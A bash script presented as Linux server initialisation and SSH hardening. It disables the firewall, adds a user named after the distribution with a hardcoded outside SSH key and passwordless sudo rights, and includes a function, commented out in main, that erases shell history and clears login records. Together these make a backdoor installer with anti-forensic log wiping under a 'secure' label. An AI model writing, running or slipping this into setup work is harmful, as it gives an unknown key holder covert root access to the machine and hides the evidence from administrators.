init_linux_key

#!/bin/bash

#Exit this script if return a non-zero status.
set -e

get_os_distribution() {
    os_dist_name=""
    #read os-release info
    if [ -r /etc/os-release ]; then
        os_dist_name="$(. /etc/os-release && echo "$ID")"
    fi
    echo "Current OS dist Name: $os_dist_name"
}


verify_root_priv_for_new_user() {
    if [ ! $EUID -eq 0 ]; then
        echo "Please run this script by root privileges."
        exit 1
    fi
}

secure_sshd() {
    sed -i 's/^Port.*/Port 54321/g' /etc/ssh/sshd_config
    sed -i 's/^#Port.*/Port 54321/g' /etc/ssh/sshd_config
    sed -i 's/^#PermitRootLogin.*/PermitRootLogin no/g' /etc/ssh/sshd_config
    sed -i 's/^#PubkeyAuthentication.*/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
    sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords no/g' /etc/ssh/sshd_config
    sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication no/g' /etc/ssh/sshd_config
    sed -i 's/^#TCPKeepAlive.*/TCPKeepAlive yes/g' /etc/ssh/sshd_config
    sed -i 's/^#ClientAliveInterval.*/ClientAliveInterval 10/g' /etc/ssh/sshd_config
    sed -i 's/^#ClientAliveCountMax.*/ClientAliveCountMax 3/g' /etc/ssh/sshd_config
    systemctl restart sshd
}

disable_firewall() {
    case "$os_dist_name" in
        centos)
            systemctl stop firewalld 
            systemctl disable firewalld 
        ;;
        ubuntu)
            systemctl stop ufw -l
            systemctl disable ufw -l 
        ;;
        *)
            echo "default"
        ;;
    esac
    
}

disable_history() {
    rm -rf ~/.bash_history && unset HISTFILE && HISTSIZE=0 && >/var/log/wtmp &&  >/var/log/btmp
    echo "unset HISTFILE" >> ~/.bashrc  
    echo "HISTSIZE=0" >> ~/.bashrc
    echo "set +o history" >> ~/.bashrc
    echo ">/var/log/wtmp" >> ~/.bashrc
    echo ">/var/log/btmp" >> ~/.bashrc
}

add_new_user() {
    useradd $os_dist_name
    mkdir /home/$os_dist_name/.ssh -p
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj3sFcfqI0ybPHSsdyFbV7+yKmWr562meCPqbisIUGy8qYDkrtjZ6e+uREAyww824HLTMhAp6qMzqekUqVelgUgtTJa/PH59ggsXVDuF3/h8pYvNMCtOo+RCHFcXLmvXUKmuUJ1xJx6qaFDH5IGA3uJakoyXQgZNCU3o6aXCKuZ3E8zATrmOJ7MMd5pyJRYSfwd3VdCL3p4MTf4zWXcJZc00i+SC34ME04qG8owqIoJ//UkMJZs7eHamV3gi+TwqU0pWH4kTNVrljncANcSnWKbsAcIkHPy4BfglzQJGJZQSeENQU5xD+MgPvxSBARhLvUsNwlz5wBpGLCk6yd2R8H" >> /home/$os_dist_name/.ssh/authorized_keys
    chmod 755 /home/$os_dist_name/.ssh
    chown $os_dist_name:$os_dist_name /home/$os_dist_name/.ssh
    chown $os_dist_name:$os_dist_name /home/$os_dist_name/.ssh/authorized_keys
    chmod 600 /home/$os_dist_name/.ssh/authorized_keys
    echo "%$os_dist_name     ALL=(ALL)       NOPASSWD: ALL" >> /etc/sudoers
}


main() {
    get_os_distribution
    disable_firewall
    verify_root_priv_for_new_user
    #disable_history
    secure_sshd
    add_new_user
    echo "Deploy user $os_dist_name successfully."
}

main